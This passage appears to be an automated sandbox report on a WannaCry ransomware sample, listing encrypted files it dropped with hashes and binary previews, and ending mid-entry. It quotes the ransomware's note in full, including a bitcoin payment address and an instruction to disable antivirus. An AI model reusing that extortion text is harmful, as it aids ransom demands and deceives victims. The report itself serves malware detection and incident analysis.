                                                                                                                        SHA-512:93617402C18636229D35A9DA168A7FAF65E79BCC1F1047A45E8168D3F29E1DED3D84821EF923AD4B7A82FAAF0C7D4C01668596B15FF5D6DF29D329AC7629974F
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....~...~.N.L .\.....a.R.^.w..W.>5.jQ.(@.P...~....If.W.11..e..... ..`....r...........q.........f gR.B&...93.c-|..Z.I.V..|...`...fu.?l..$... .i...K.P..I..D...NrVQ.c,...8"S@....C..FWo.........qep..i.W...y.IW).T}...o...9K.^.j.ac...%.ZO.9....F..T......._.....80..........y......X....o.3}h...<..o.E?..@]@.j...R.s......X.e{H...g.W.W)n1.U.`..c..G......MO|..9... s#....Em...X?... .f.F.EF.}...$.E.D......3.-.%)...M.Z..^.<..S.r.W.3l\...@.m.57D,....a.H...f.M.....v..oTD=Z}L.$.Jb..ot....FT....b..O.i..I#.&O=........e...1j)..2.....s.9~Fse....oG..2.D.....j.).........6.hn.%._.....v4..^c7..".G....^..M.....EBF.{..y.Gt ."..>Cx>fdF#.G..+...n.,.S.i....@...Na..3T$.H..T#.>...U....lc3.k.......A|...A.?.......Q...E.v[a......!|.^..J.k.D...L9......a..a.ZAml)%s8......3r.z.`.a...k_..7.0..A..F"@0.[...KM....o...fw.t....."f.\a/...l...t..90..5..S..&w.2.n..........HL.....o.:.R...j...).t..P.BS.4..$...<"..UC.;....%..*..f..0.z|h...2.^....)....?yF7.u.H2So.L1.w.?s0.#...:).V.d,..

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\guest.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6344
                                                                                                                        Entropy (8bit):7.9674365747605265
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:cGkIuYQpX3HlqjAmdZVE1yRS3KwI78yens9ual/bigXU:xkIuYQh3HKAU84V4yYYE
                                                                                                                        MD5:80A69A6D59E9A8D54BC4AD85CEC914DF
                                                                                                                        SHA1:76BEDC9FE0E375E84D88AF1557C126592B162BC5
                                                                                                                        SHA-256:B00D8D43F8687E50C8C608EE59403C9D388CDFD3ED1A96A2F06E3F381553E6A6
                                                                                                                        SHA-512:D702583EA8CEB6544237CF3CE8C894FE3C9EA596D7B5024FC26A0F5F0F8E09435EFC4C061D5B16446D06B4B18880821A6FD20EA921C57A278378F5BE20686D66
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.........,e........Cp"7GJ...Z...O.E....6..P.]S...8i.H.{......WQ...)..GuRG...\..-.f.\..-.._=.\#.m..r.g..{..e....5w..S.v\_O.1T.m?-.&..^.xnK.b.w5.N~..).....[h..+.;P....!|.."..-....T.>Id..&R.P...?iQ...8+..'.WX.+s....P.l.vMB..G..IQ..Fd>..d.#.......t.t..e....VH.................V.t.2....U<F.Y......K]N.........>.~.....z."?....'.!mm..::|.gl8..H...q.....C....&.V"...S....... ...F.G.0.6V...j.^..c.E......Uw......x".>.kq:.}.K..DJ [..3.P.|..m.....[........xY....Y.....$.3kE..B0.Z.3........(...t.tl....K.)%~huJ.PmP.F.H`....ei....U.c..$74o(..b..S......gM..F...5e.X,9..k:. ...r.Z.`.<......:r..o4!.;PD.R~.N..H.......I..8..-....H.R46..~9o$.ZV$@.0..M....YSR.....F...JDg4V.N.,.....#`:.<.q.,.C*.0a-.C..@pX...!.....S........\;)...l..v.x.....W.}.L...x<.l. !.T...s|...8\'k..Q'.....H...^..:...p`..?..`..{=X.9.p.#...c...b.Y...^<U4.......1..V`.ONt.y.,/OY\..*..M`=.t......7.....F.LAt...]...p.....}g.{.~..~.N....9A%"T...].C..........`w>.9.y.o.w..@..c..Lv>}.?.FE.p6.-.<.2.SX

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\user-192.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):2680
                                                                                                                        Entropy (8bit):7.928974966527005
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:48:bkvHPVq3Z2e29N3okzzXh/mYefcQO6iEhGYxS0LLWJ+8z5qCQRxXCvYm7I:oHa2ZfzzQ5NS0LLWM8kCQHXvX
                                                                                                                        MD5:733BD4F6D1B9DB19BD1DCFD038BE1F89
                                                                                                                        SHA1:6F4543477253316835E3C36DC4CAD00B6305D956
                                                                                                                        SHA-256:D62BCA9BA965278A4B5AB261E913DF75BE1A0689416465CF8F6EFBE1FEEC92C7
                                                                                                                        SHA-512:602031A8573F2DDA42DF5A31AD25B237840E550025F77FC65CE4255BAD5B8277221866405884E3E67503624DEAD19FB7E6EAE7F56A8CA6929E7FFAF84D8A088B
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.......G..'xl...:........#Uy.%s..z..h!.,....=7.q...~.....].c,..fa..../)...K....D.P....FVS.....Q...J/~...l*z.....1... J.....+1..[*.4z..4.y.V.T$i_...._.N.e..RZ.h..F.P.....X.. ..}#6.:.W..0....'W!.........qH........1.'.7cf...x'.NL....=.z.d.9gl...gN........X........}<..}..w........H... ..U...^x.\6.i......).k.f.%.{L..D ..../nPb..JP...EM.%.]..ib.b.1....,v.@.........*.yd..1Q.1...m...w;.W.%n.......-...j.....r.<N.Z....%~sL^...-.v...R.h...Zp.~E....+...:6...(.\.....r.d...7c.VT...a.r.@....Y5W.J..l.c........=.%A.u..k...}=.)I.\t...J.@......K....{4^?M.(3....Ct...>..{.GO....<.?.*K.G......A..;7Z_6.&.WJ...].\.R..fbG....*P.o......>......,......X..C.6.?..j/.0.9...B.dKa.<..W6.D;.~.x{..)..&...7......B=..affT,... ..Z.q..0...;......v.'W(...k(Y..I.xt..3...av45.WY..&.D.+.WJ\.A.,..A\.q.v../..8..n.w..........O.A...(..e...............w.......=.....:._".!......K35&...z..".g..........y..a.........8>..f.....v!.."...\.J..:...J.H.7).....UD....C.Y..B....sy....x.i....

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\user-32.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):728
                                                                                                                        Entropy (8bit):7.70172358033949
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:bkEAegkuqShgh2nN95X3OXsVfMb56MVumqQPlfYBGdl+tj9QdpWDDt2KRIl9tNxv:bkEg1qS+2BVkb5rVNyBKYVSpWDB279t3
                                                                                                                        MD5:F9D9B8C8E060B807EC801740B9FA84CF
                                                                                                                        SHA1:C61BA32DFBAD1AEED0ED83CC84409EFDD6FD0B40
                                                                                                                        SHA-256:12091551196B0EC1C5852753CA5BD0BE9CA21875619E1090D05379F59A12F469
                                                                                                                        SHA-512:9F351DCC108A824871181A68482D128BBDE33E1A399D823C047113F2CF6B3CF131247A8057B6C44A945A059A5E4E1AECF437D3B71713A914FBDA0259B3E0E04E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....Y=.w.G....RRl...a....7...g..q...`|.50.[@..W.R;..G_.].*.S=T......g}./..D./.uL.)..-^..]F...Iq..B{......U..-=\.L.... Y...PMT..#.$p^..&^ #p^.K.....-N.@.......n....`$.)...l..w..G7..S........0...?......|.y.j...G...9..Z-..H.7.&].h..'.F..............Z^.F...............x...4H...Sb...%C..[......2.q.8.._.~.W..}.Vw<t......7..O...@.u....!'..a...!.$......V...@.0.)?.n.H.<.&.>.........Lq+..G9...'.6....JE4-)Fb....r.../....5.V...&....W.=xY..X.H\.0uj~zNA..i..K....iV..4<..'.....'3Q......2'.P.3nr.w..g#.3.f...BMM<..&3.7.i,..Q_..M..)o... ....6.|{u..UX"H.}./..4..E......G.o`5.hfpi.T.;.r=."[..f.)="@.....h?.:....P*..u......kB....-g..{nsI.fs.. ......8._86N.S.K..|...$.&..T..S\....B.....Q...-m.q.......

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\user-40.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):808
                                                                                                                        Entropy (8bit):7.742956234913967
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk8vlZR7MUKDisBtHxkuq1fjiPB+WEq5XQrVjZe9X:bk8vl/7M3iSted1fjiZ+ZrVVe9X
                                                                                                                        MD5:2C3FF7BBE6380B932B2FF8D1E76FA76E
                                                                                                                        SHA1:1FF44FCB444424DFBD5000BF193B5915A0C735D8
                                                                                                                        SHA-256:DB80016C6575F7F82B51788F395AC075E6D782576833338784656C727B53FD43
                                                                                                                        SHA-512:1FB0FFD3EB649157AB0D2F3A00741B34885821165968B6A460039BB39238366FB5F67A5D19A675B947A6AB930D9BD48369942266919C186B60F8A0BE903A397C
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.....\u.).9.g..E......./..A..+.d.o.e..V.L..2.M........c.....{.Z.~.4..c.....i..7"0...d.h.H{.D..{...d@8lK.[.R.BR.e..r.jv..x....[....Cv...<,3.W.....`.{......Z.o>pUZ.AS. ...zQ60b w.~..Z..L.u.......~..5S....?....S.i... ...a(....rua{.\'O.g1W..*..T$..aIH................lw...-L2..CR..).P...;.*..Rz.1..f.;:O{'.G.{.0=.U....p.4.'3yq.H8|..36.......W.E....\.lJ6.`.S2rbw../..pE.>.=+.z ..z..F....eI.......q.b....8..Cq.2.,..;......L.........!.......7...A..T.+)..@.../w...5`.+...VR1c~..,d....a....S&z#.dI..+......d..l+.;sl..Q,R........NL.^.(.....QR@tMq..0p..w.P.w..m...o.?..1......!.........w..j_.4.....f..pTj....}.....Z.(.....s.t|;+A:.` 2..nX2.Z.,,.Y.......%Y.'X7F....=...Q......L.].`#.....Cmd8.....a..>..RQB.98.0..c...3..T........(....N.!.G8.7J....K..]F..GP?.%....T......&S...

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\user-48.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):904
                                                                                                                        Entropy (8bit):7.766321291361511
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:bk3CEsCrz9V3O9HVYE4ujGchBJqljDX9SmC/rMEwRLQ/rc:bkOez9V3CHWE4ujG8BatcEEA
                                                                                                                        MD5:1B0FF59B475E39ED1200E53954ADD8DF
                                                                                                                        SHA1:F0E5B9DA8BCBACD703331DBE728A0499A602B192
                                                                                                                        SHA-256:79387AD5B2BA5FAC2B2711D9FDCACD100DF971C38F4F449AF759794983E5A74C
                                                                                                                        SHA-512:9DCA1701AA006656212CBF63AADD283855CADC247B23E8F7465F9416E9015822215ABDCA44E1AFBE13D8F23B4F427C35AA3F745DFC2BF89E8F696B071FF6F6AC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....UFG*.....F...8.E*..=..........6p......._.Ck.^f8]r|...mh...%..'..NK[B...d./5`........pJ..i.8....VS...A.....4.a...7ah....;.`2G..!A...z..2..)..9..xY...l....)..B..~..M......n.k....3:P...KV.2...2.m.h;....../.....Q...F....$.M..z .{Duv.....j.....W....i.......!.G.."....~...C|....(..o.1..M....q.....)..f..x.."?.....M.].^2M...d..N' ......xk..a.c"....Qp...f..!-...j..R...0_zY.....>...%..B...)..X..g..n......G.?...........t...)VJ.q....I..Z......W...=.C..F...W..u%T$..M_J..,....c6..5...K$....d..^..$........7e.7....@...Az.....=..$........s^..q.c...,z.....f...k..\.;5..m>..-.;._...d...A.d.........2.-....i.%.8Xz......?....Rt6Yf9..Q..xF...........:./u.....IO.....8..b..._....g...W.r..%vk3.c.3L.[.......g.....T+R....6./hH..K$.....j!0E...HA.}.+....A.J....{...R.p.d.s...j..#....C$Q%.K.X.....`....H....{x.6g..P....D:...s..w..2n.5..R.....X....Ry n_.

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):602456
                                                                                                                        Entropy (8bit):7.999620920911202
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:5QNimYD5sieh0ROOQZNqsekWfOMn6Y2qob0bfJdUpNEwUsYmfb90eAsRO/1sNFir:5QNjgeaRz2/eVqYbob0bwyAbOehQsk
                                                                                                                        MD5:62043B10E36CB05F6E9F414C588775EE
                                                                                                                        SHA1:730ACB2854A70D1A8DC4DAE352374E0615CA7640
                                                                                                                        SHA-256:15F86753DD4DF9304C45AE3A9A4F18F271D543B61A8F2153281A64A734697061
                                                                                                                        SHA-512:F5BF62DBD5FDC164E05345434DB0742B8F417EBC2418C96A7EA689E08C26EB3636A677EFCA4FF2B32A2848DDAF3602ED30FA3FF6B1DE3D9C364654EC36EF2750
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!..........E.....3b'c.V.....@.v..U-...bL..|...-.]u...!.j.^x.$.....r...+*..O.....o..%+-.^U...v.P...Lq..l....|.Y..gmks.......t....4K.g.@..H..NR..z[$.",...*..l.y....{.........>..l[.|..~.mH.K.q..zPs[m\......Z..3.,a.mc.l..lBcg.P..+....W.=.A.b...OV...A...........80......5.3..'.0...Y...].<....M'.?m... ..,0.pRT........p\e......^...5..p.....#.L.....^^K..S8........!x....S.....60_9.......;.."7.V.F. M...Wk..BG2&..U......;.Wb<2..*y.i....\u`...{%>..oT...w.......Z....q2k5@Pg{...10..Wg+<....nO.o...,..CIo....I...Z.....@..Fu.L.t...n8..&T...q5F8G..uZS..&...vg.. ..o..K.v.l}$A-.....3...+..8..?...i.{.1.L.......$..K.\.W.}.@.2.-a.%.@qNl'{..$...l.....mN..#....jM....XW...'0T..F..v^....T8./%<&..h...(...<9......6,..2..d.X..P....<0P.F.0p..E.2..q*..qg&/Fv...m.QHD.?X..2>...0.%..N.%.DF..ME..,..1..~x.C.0%+...T......{..?..O.Q/...J..X-o.D...qQ-[..W.8....I.L\..6*...\.yrU..}..-..gq...V.^...d....LSk#wv..0B.O...)I..S......U.I....=1.;r..$bYG5#'=~K)...OI...X-,.a....>:|...&.zi(

                                                                                                                        C:\ProgramData\Microsoft\User Account Pictures\user.png.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):6344
                                                                                                                        Entropy (8bit):7.971261875820268
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:96:oY9MdVF1pkipBmjT1jPGCXjQAKBSNXDxsaI0ZS0W74xieIjy8U+8hiGIY/YdTNyh:t9+/mv5PXkAI41F/ZS0W0eehIAYS/cI
                                                                                                                        MD5:B43C832843AAD8D8E1B60EF84832021D
                                                                                                                        SHA1:1C58848065371080EFAA0D7CE5666A867DBE929F
                                                                                                                        SHA-256:4F846592D04279A97000D80FB0A2442BBB9BCE01037560A1B28D9FD13C74C435
                                                                                                                        SHA-512:4937743269F00CE7392C2A3E945F883D213617CB2538EF557911B048FAA5F296D75B7659DC401D5FFDE8CE998790D293CA7B85EB058587610D888D669F61CDCA
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!........A...g^B.. k.^....d.{]..`...)....2.E....S.......y.w.w.....3.~Nx..L0......K..<0.|....|.....5`...n..............lPHc..S...._..K./.E.x.>?..<..]B/.B...Y.T.g>,.3......:$'~...h.A._.+.o@.u.......`'c.d.u..YDcs.f..v....oH'.....bL.......&....................Xs..e..........D..P#..GC.6.6 ....|r...?...ot.#..[k...}o.k..K.\..o...42.|j1..H....j.n-8...L....=.....P.....\n..rb./..xVY.9..h.zgJ.$.>.K(........n.t...a:.B=..ES.n3..8,..V..9.s.B..X.Uu....Kd?.*U...U...^<v..M.6wF.5.....4&-k.3&Q...G...6..P.L.9..^....c..~5.B.:..........Vet;P..e.4.t,........*<........Srs.~\[T;..0y..p.e..W#.Kf.v.\"..=]^...<n.....@.VW...7...e.1..!8...x......l...c..{.:l!.V...$6...v...[.C.0 .jP.....[....RB%W..{.;.0xx.....T!'..v(b...p;z....~........S*..Y....oi...3.. at.2!....7.K/.......q.t7..4............9.=Y..h.M..6/.......OQ.....[.WA.'.?.+s.......Ux.2eq@M.n.&...r...h.....'..k.M.......2".z.@.....+f.7..Z..5Z..Oa...k..+..V.I..r.D..f."+.m....(@'..69..k.).O.^\...H...X.........R

                                                                                                                        C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2107.4-0\ThirdPartyNotices.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7000
                                                                                                                        Entropy (8bit):7.972008760742877
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:6kkwildcl39XL00kWZLIdyRhPKs6HsTeoLNEL7f7h:6kkwildclNXI0kWFI02sJLNk79
                                                                                                                        MD5:3FEE1E440472D0E3578CC81EC6961FBD
                                                                                                                        SHA1:5EBCF87F7D76F7C6964E57BA5D0C530E877BCFC1
                                                                                                                        SHA-256:FB8E42A5F67A5FC41BC109FB15181CB797CE70C5C478D68BF2173449760444DA
                                                                                                                        SHA-512:140E4FA3CB98D491FFDF8848FAE3D86AC54F382768B4E837B783C4B469403FFE12820CC2FBD9326C477C5EEAAAE4458EC0FC0FAB002C888051FFB8E53789DD5E
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!.... 5.@ .Z.c........_......9......,.......e...m..v....}....).'....1V.0Z..L.ilI..t>.AV....,...+|>yR.;.M.1....8..#5....(.DI.G..... ..[..NO.>F...v..R..F.[.8+...F.....,....l".7.j..?J.|?..<.?b.#M.f..1._.+.7.Fv....W8......fol..L..z....j*l)..^x.}....emL....=........~...O...-z.rm...v..`..t...X.L....e..g.|.,.....|...9.=.r.2.^8....S=./.,.uB....|.B....U./.....m.#....>.c.....<.k..L....}.[c.?.....DZ......"K..D.....<..C...n[Y.%....v(.=...........`.."K.$)3|...a.E.@..i..wW\..Z<i:yq...({...<.yK...ly...].0..Tim<.U..O$.Z...K.\`.5.>.?.;.{.K.E...X...7....G.7.)...x.....gMp...F..I...f.-...QSI...='.ZB.......u/..........WbJ|.....p.....y.:O..!H.h.M..YMk....n.Z...F.....&.....G.wf.a..`.o7.!..L.$T.YLk_.W...O.8.;77TK......yP!..._6..Sb..s..:lj...y...Y..z.>....C.../z..!1.......5.[..(.....GN...1..a.X...i..W..')D.:..L.*$-....|..[....&...Q..5.Lw.9..f.K....)..o.Y.O...A....=.V..orB.{2.J....y.....+.t}.T.W9..S....,..OLy.[..4ue......p..)..#.ixC..h.;.9.8.....M.e...])..

                                                                                                                        C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2108.7-0\ThirdPartyNotices.txt.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):7000
                                                                                                                        Entropy (8bit):7.977409358428591
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:192:+cJ8aSzK/jUNTWWJmQOmBLWLERgH2RTyDd:tJ8a60/QOgSk82RTyB
                                                                                                                        MD5:558FAABD8EC4EB18780A90A6B7DE575C
                                                                                                                        SHA1:A834639A3C6807E1B84B53F4F19AF039901BD84E
                                                                                                                        SHA-256:E2D9B1B90BF5484D747A334737DEDB8FBCB539DAF2DF6325C7F5433C0487A1BD
                                                                                                                        SHA-512:DA2C1FC3C0D023EED2F07043660BEE4AB668C6201B8959E33199778087837261CD67E87CCC353A7E6A8C06A915132B6A09F0523BBDD8F1826414B7530990BAAC
                                                                                                                        Malicious:false
                                                                                                                        Preview:WANACRY!....x..e....lG...g.W....} ,AM'5...S..8hAm.~....i|F.#....ha)...[#'....^."Qa.UN..".i.,$...f.'.U.ea...HFlC {H.C.....8..<.t........d.jn.9w...k..z.)h7|P.h....>.......R.e..X....."5s<.mY..q....y..u%..7.S....6.H.......o\C.r.=...d.g...*N2.E..H....y..>.a...+....=........O.-.z..;.j.........:..G;.t.~.>.;.....<....n.R..... .UU...sH......L+z.5k.7....1..z.>;.+..@.]./.....C......O<b...W.....6OL..e.."...0..A..q.H.A<c........uf..........U:m.ux$...........g..2....k.'+c.8.....%....P....#.....ME..Dx.T}.6R*g.q..j...sC....{..s.$c..^H2[..>IPr.<RO.e9M...1.......]..N...#.c....M..N. .....`.,....1#.@ ....x..T.M..r..i.7D.Q...qL..k....../...D....W...v,.1i..8M.0.'/.....k...6...n...`.0..........ks...c.)`.....t...._.P...2.1...\.q.*{.......l..#..7x...b.....\..]..;.[...{..>q.'...8,.......G..;,L...r=./*%.....q.X.3..Tu!...CB.G.<....?.....$.S.n..oR....<..Z?a.....1....i+I.R..z\.p.e..E#M.#....)He+w.H..DDj...Dm.Yy.....Hd.#..N.9...pSn.8.>%.....(.....L[.(.k.ky_.....

                                                                                                                        C:\ProgramData\Microsoft\Windows Defender\Scans\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:ASCII text, with CRLF line terminators
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):933
                                                                                                                        Entropy (8bit):4.708686542546707
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                                                                                                        MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                                                                                                        SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                                                                                                        SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                                                                                                        SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                                                                                                        Malicious:false
                                                                                                                        Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                                                                                                        C:\ProgramData\Microsoft\Windows Defender\Scans\@WanaDecryptor@.exe.lnk

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Jan 8 18:46:33 2025, mtime=Wed Jan 8 18:46:33 2025, atime=Fri May 12 06:22:56 2017, length=245760, window=hide
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):577
                                                                                                                        Entropy (8bit):5.167142294096636
                                                                                                                        Encrypted:false
                                                                                                                        SSDEEP:12:8NpzYNbf2jUl9nNArUoBjAfodwalOmCt:8klbwAmsm
                                                                                                                        MD5:D32A14B20ADB8540FF2F16E7A3F0611D
                                                                                                                        SHA1:BB088EFA392719E58AD6EB2CE8AA38E01C22F661
                                                                                                                        SHA-256:7C1188B4684DCD5D3C276E697FFA8F4883225A01723ED332D81607AFB8B83851
                                                                                                                        SHA-512:01B71960133F8FA6ADE4AF85F5A0203E0F09B648EFF30F6C74483643225047F10A32A3EBF74A8F4202655E1EDFF43D1D24464F72D4D005D5A5189E81958A67ED
                                                                                                                        Malicious:true
                                                                                                                        Preview:L..................F.... .....w..b....w..b....U..................................P.O. .:i.....+00.:...:..,.LB.)...A&...&.......`._........b.......b....t.2......J.: .@WANAD~1.EXE..X......(Z.(Z.....\.........................@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.......Z...............-.......Y.............[.....C:\Users\user\Desktop\@WanaDecryptor@.exe......\.@.W.a.n.a.D.e.c.r.y.p.t.o.r.@...e.x.e.`.......X.......226546..............n4UB.. .|..o........G.P..#.....n4UB.. .|..o........G.P..#.E.......9...1SPS..mD..pH.H@..=x.....h....H......c-dSA....n.............

                                                                                                                        C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):586008
                                                                                                                        Entropy (8bit):7.999728274553359
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:12288:du2Z8Vkx00ouh7PywdksYkrqHSO5l6U+lm112Uj9U8mKHbLY0Bt:dZ8VxJs/tYXyWsdlm75+spBt
                                                                                                                        MD5:B87589605111FD66EC1473D7CEAEE97F
                                                                                                                        SHA1:11DBDD43340B5FDE8B45826FA12E6FE5ACED6C5B
                                                                                                                        SHA-256:6D8CC0BCD31E974F9E315E59B77F130C7CAC52D9127FBF3D0C03BD0E3F1F87DF
                                                                                                                        SHA-512:893485E1F9446FBC605CB9FC86153315407683F03E77D1D2A9E34CA2D82AB3D3D1F5F1223CF8223E2001492505F4241F28841C55A06B7B3654AC39B44E44CEC4
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....+..Y....qZ.])1[h....!.4.^GH.',.v...x.o...<.0s......PC... ......A..ez..f..g.q.$.....S..c.....9&..'.........._..._.N.T...9/)1...}!a......hA....OV...=..7.<Oq.{t.......aax.......m...X.y:jH.WL.....+.*.2&nK..Q..=..wW..~....].,6t...U....g..N.............H....${.Y.H.....NX.....RCt.8..T..O...90....w..wO....p.<s(....a.~.A\..O....1..l..K.d.........J...X..Sd..Pt8.V-..`..d.2Lx6k.."01..dD5w......{..}..j.<c...s.......j]8.Gt8.Tg.J......Z\..M-..h..[.Z\%......WW.C...)BS.O...AD.....y.\./{..a.D..V..$...k}RF.W94.g.B..p.5.......Kr.z....a*.H.pW...!u...;E}..VO..\...v.^..f..l..Rd.0...|v..r.^...G.K~^a...9...u..r....D..{. .....5.~.FT.$..;.D.)....:...).e..k.g.....8..C.V&-...._..o.>..n..<...E.,..I].S._.Qt......W..J.....M..+.=q9.......3f...9.W.H".5.fu.(p-...`Z.g..m.Sf..._.....>........V...6.....]K..7.....W..>5..<...V.kxm.....1.R.....k..C...].S...%.@..^/e.`...i4.r..9....5.y.4~.I..."b...]....^.z2..u/.wj?....F.....T..:=.E.....M.....l.OB.E.......Y..(,-E.

                                                                                                                        C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif.WNCRYT

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
                                                                                                                        File Type:data
                                                                                                                        Category:dropped
                                                                                                                        Size (bytes):89816
                                                                                                                        Entropy (8bit):7.997719226172615
                                                                                                                        Encrypted:true
                                                                                                                        SSDEEP:1536:y3Wixzalclmek0b35lXh8L8jbFTi2p/SPnOH8soo3HDEuLSRWklUErj4ZwNf4Bgj:6WixnlmYbfTCPs8QHsTH4iaBgmx8
                                                                                                                        MD5:AF73458DAACF032BCE51533857A38911
                                                                                                                        SHA1:C99AB17BB8DD55D628324688CAA33016D5E8C1F5
                                                                                                                        SHA-256:64DF870119725699ABC209918EC9E4389060E93446197CB7B7F6D8846501C433
                                                                                                                        SHA-512:01267C1288356AEDD7AFACD7B941E1666CEAA11672D50BE7D429D257426407EB10822517C6215C0E97ECEF54DFEF2E683D30830B90B757B6472BBD810F06694B
                                                                                                                        Malicious:true
                                                                                                                        Preview:WANACRY!....T../.....G..zrfqa!....+....,.......6...p..b-w.A./...N.~H.....q.K....tFN.h........d...=...IL_,...)..>=fa._(.M...7.7.m...;8....U.+....MK........ ......?,88.....W.(x.y...0.+e.'\{"s.~.`.A...... .....n.d.<.I.....1...o.vR..@.zD....&......oE...@......]......bU~..._.Wf.%*(.....Z._.A".......I.....^.!.I..LR.s.......@...^...~u.f.5-....I=0U.t.....;.......{...T....e9{..N.y..^.K..JOV...x.bt.9...as.$.Qd Z\\...N-X..0Er'..xcrTaw$.{".S@..Ms*.......~.=zL...PM.Qk\S.6.{*......tr..U.+.V...:..E.Y~..X.a..:.............6FE.(...d.ko.sIz.z(K8..,....all......v.9.....E..+b....\....<..+B4..o.y.[.."..ab....?......+k.~.K...9)J|.....!.....l....}..JvA..pR..E,...`.[.Y....A..joc....;.UB.."..AO.R.>.......`l"..).&@..0G,MvZ.M.G.*J..F.sg..c..T.G..6..L..o..q...a..L..7 .M......R..$].[W4..:B>W,R5b.D..KV.;...C....y+...a...............n6}.......[.....h.t...zkx@o!4!.....ok.&j..E..V..r........uc|o.+a...VwiB.0.^o..QsGH.q.Q9.R....t..k ...zXt.f2......It.G.......j7.v...

                                                                                                                        C:\ProgramData\Microsoft\Windows NT\MSScan\@Please_Read_Me@.txt

                                                                                                                        Download File
                                                                                                                        Process:C:\Users\user\Desktop\n397UdH3b5.exe
